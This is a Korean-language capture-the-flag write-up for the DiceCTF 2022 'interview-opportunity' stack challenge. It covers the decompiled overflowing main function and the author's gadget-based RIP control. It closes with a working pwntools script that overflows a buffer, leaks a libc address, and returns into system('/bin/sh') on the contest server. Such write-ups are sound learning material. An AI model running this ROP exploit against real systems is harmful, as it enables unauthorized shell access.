CTF Review

[ stack ] DiceCTF 2022 interview-opportunity

S!_Jmini 2022. 2. 7. 14:01

#1. 문제 살펴보기

 

 

183번째로 풀었,,b

 

 

 

 

 


#2. 문제 분석하기

 

main 함수가 main 이였는데

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+6h] [rbp-1Ah] BYREF
  const char **v5; // [rsp+10h] [rbp-10h]
  int v6; // [rsp+1Ch] [rbp-4h]

  v6 = argc;
  v5 = argv;
  env_setup(argc, argv, envp);
  printf(
    "Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and com"
    "petition against perfect blue.\n");
  printf("So tell us. Why should you join DiceGang?\n");
  read(0, buf, 0x46uLL);
  puts("Hello: ");
  puts(buf);
  return 0;
}

 

단순히 ROP 하면 되겠구나로 시작했다

 

예상 시나리오는 leak -> exploit 였다

 

 

 

 

 

 

 


#3. 삽질

 

ROP gadget들을 활용하며 풀던 도중

 

overflow할 수 있는 길이가 너무 짧다고 생각했고

 

Stack Pivot 기법을 활용하여 풀고 싶었으나

 

main 함수의 마지막이 leave; ret이 아닌

 

add rsp, 20; ret 으로 인해

 

rip 컨트롤이 쉽지 않았다

 

 

 

read_leave_ret gadget(0x401276)을 계속 시도하던 중

 

add rsp, 20 때문에 rip 컨트롤이 쉽지 않아서

 

sub rsp, 20 을 포함한 부분(0x401241)부터 gadget으로 활용했더니

 

연속적인 rip 컨트롤이 가능함을 확인했다

 

 

 

첫번째 rip 컨트롤 과정에서

 

해당 코드 덕분에 stack에 있는 libc값을

 

적절히 더미값과 함께 leak 할 수 있었고

 

 

 

 

두번째 rip 컨트롤을 통해 세번째 rip 컨트롤에서

 

gagdet을 넣을 수 있도록 했다

 

 

결과적으로는 SFP를 활용한 Stack Pivot은 아니였지만

 

RIP를 적절히 컨트롤하여 원하는 gadget을 실행하였다

 

 

 

 

 


 

 

#4. Exploit Code

 

 

from pwn import *
p = remote('mc.ax',31081)
#p = process(['./interview'],env={'LD_PRELOAD':'./libc.so.6'})
elf = ELF('./interview')
t = 0.05

rlr = 0x401241
bss = 0x404060
pop_rdi = 0x401313
puts_got = elf.got['puts']

pay =''
pay += 'X'*0x1a
pay += 'Y'*0x8  # SFP_1
pay += p64(rlr) # RIP_1
pay += 'Y'*0x8  # SFP_2
pay += p64(rlr) # RIP_2
raw_input()
p.send(pay);sleep(t)
p.send('Q'*0xa);sleep(t)

leak_addr = u64(p.recvuntil('\x7f\n')[-7:-1].ljust(8,'\x00'))
libc_base = leak_addr - 1681187
libc_system = libc_base + 147024
bin_sh = libc_base + 0x165152
log.info("leak_addr : {}".format(hex(leak_addr)))
log.info("libc_system : {}".format(hex(libc_system)))
log.info("bin_sh : {}".format(hex(bin_sh)))

pay = ''
pay += 'a'*0x22
pay += p64(pop_rdi)
pay += p64(bin_sh)
pay += p64(libc_system)
pay += 'X'*0x8
raw_input()
p.send(pay);sleep(t)

 

libc_system offset 값이 로컬과 달라서

 

로컬은 실패했지만(?) 서버는 가능했다(!)

 

 

yeah